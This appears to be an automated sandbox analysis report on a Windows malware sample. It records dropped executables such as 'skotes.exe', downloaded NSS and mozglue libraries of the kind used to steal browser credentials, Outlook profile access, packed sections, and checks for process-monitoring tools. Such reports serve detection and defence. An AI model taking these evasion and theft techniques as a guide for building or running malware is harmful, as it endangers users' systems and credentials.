Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6880 --field-trial-handle=2004,i,1050887210429599906,5484965300696754300,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6952 --field-trial-handle=2004,i,1050887210429599906,5484965300696754300,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7160 --field-trial-handle=2004,i,1050887210429599906,5484965300696754300,262144 /prefetch:8
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsBAAFIJKKEH.exe "C:\Users\user\DocumentsBAAFIJKKEH.exe"
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1802752 > 1048576

Source: file.exe

Static PE information: Raw size of sftduhzg is bigger than: 0x100000 < 0x19e600

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2556613185.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2556613185.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.280000.0.unpack :EW;.rsrc :W;.idata :W; :EW;sftduhzg:EW;hsjflyou:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;sftduhzg:EW;hsjflyou:EW;.taggant:EW;
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Unpacked PE file: 19.2.DocumentsBAAFIJKKEH.exe.d80000.0.unpack :EW;.rsrc:W;.idata :W;vlyutnsq:EW;fqcepduh:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;vlyutnsq:EW;fqcepduh:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 21.2.skotes.exe.bb0000.0.unpack :EW;.rsrc:W;.idata :W;vlyutnsq:EW;fqcepduh:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;vlyutnsq:EW;fqcepduh:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 22.2.skotes.exe.bb0000.0.unpack :EW;.rsrc:W;.idata :W;vlyutnsq:EW;fqcepduh:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;vlyutnsq:EW;fqcepduh:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 24.2.skotes.exe.bb0000.1.unpack :EW;.rsrc:W;.idata :W;vlyutnsq:EW;fqcepduh:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;vlyutnsq:EW;fqcepduh:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6BC410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C6BC410

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: 3a4851ca05.exe.24.dr	Static PE information: real checksum: 0x1c7fcb should be: 0x759b0
Source: skotes.exe.19.dr	Static PE information: real checksum: 0x32854e should be: 0x323e41
Source: random[1].exe.24.dr	Static PE information: real checksum: 0x1c7fcb should be: 0x759b0
Source: file.exe	Static PE information: real checksum: 0x1c7fcb should be: 0x1bfab0
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x32854e should be: 0x323e41
Source: DocumentsBAAFIJKKEH.exe.0.dr	Static PE information: real checksum: 0x32854e should be: 0x323e41

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: sftduhzg
Source: file.exe	Static PE information: section name: hsjflyou
Source: file.exe	Static PE information: section name: .taggant
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name: vlyutnsq
Source: random[1].exe.0.dr	Static PE information: section name: fqcepduh
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: DocumentsBAAFIJKKEH.exe.0.dr	Static PE information: section name:
Source: DocumentsBAAFIJKKEH.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsBAAFIJKKEH.exe.0.dr	Static PE information: section name: vlyutnsq
Source: DocumentsBAAFIJKKEH.exe.0.dr	Static PE information: section name: fqcepduh
Source: DocumentsBAAFIJKKEH.exe.0.dr	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: skotes.exe.19.dr	Static PE information: section name:
Source: skotes.exe.19.dr	Static PE information: section name: .idata
Source: skotes.exe.19.dr	Static PE information: section name: vlyutnsq
Source: skotes.exe.19.dr	Static PE information: section name: fqcepduh
Source: skotes.exe.19.dr	Static PE information: section name: .taggant
Source: random[1].exe.24.dr	Static PE information: section name:
Source: random[1].exe.24.dr	Static PE information: section name: .rsrc
Source: random[1].exe.24.dr	Static PE information: section name: .idata
Source: random[1].exe.24.dr	Static PE information: section name:
Source: random[1].exe.24.dr	Static PE information: section name: sftduhzg
Source: random[1].exe.24.dr	Static PE information: section name: hsjflyou
Source: random[1].exe.24.dr	Static PE information: section name: .taggant
Source: 3a4851ca05.exe.24.dr	Static PE information: section name:
Source: 3a4851ca05.exe.24.dr	Static PE information: section name: .rsrc
Source: 3a4851ca05.exe.24.dr	Static PE information: section name: .idata
Source: 3a4851ca05.exe.24.dr	Static PE information: section name:
Source: 3a4851ca05.exe.24.dr	Static PE information: section name: sftduhzg
Source: 3a4851ca05.exe.24.dr	Static PE information: section name: hsjflyou
Source: 3a4851ca05.exe.24.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68B536 push ecx; ret	0_2_6C68B549
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Code function: 19_2_00D9D91C push ecx; ret	19_2_00D9D92F
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Code function: 19_2_00D91359 push es; ret	19_2_00D9135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_00BCD91C push ecx; ret	21_2_00BCD92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00BCD91C push ecx; ret	22_2_00BCD92F

Source: file.exe	Static PE information: section name: sftduhzg entropy: 7.953365730088578
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.121710062967664
Source: DocumentsBAAFIJKKEH.exe.0.dr	Static PE information: section name: entropy: 7.121710062967664
Source: skotes.exe.19.dr	Static PE information: section name: entropy: 7.121710062967664
Source: random[1].exe.24.dr	Static PE information: section name: sftduhzg entropy: 7.922357382400186
Source: 3a4851ca05.exe.24.dr	Static PE information: section name: sftduhzg entropy: 7.922357382400186

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsBAAFIJKKEH.exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsBAAFIJKKEH.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1005710001\3a4851ca05.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsBAAFIJKKEH.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsBAAFIJKKEH.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
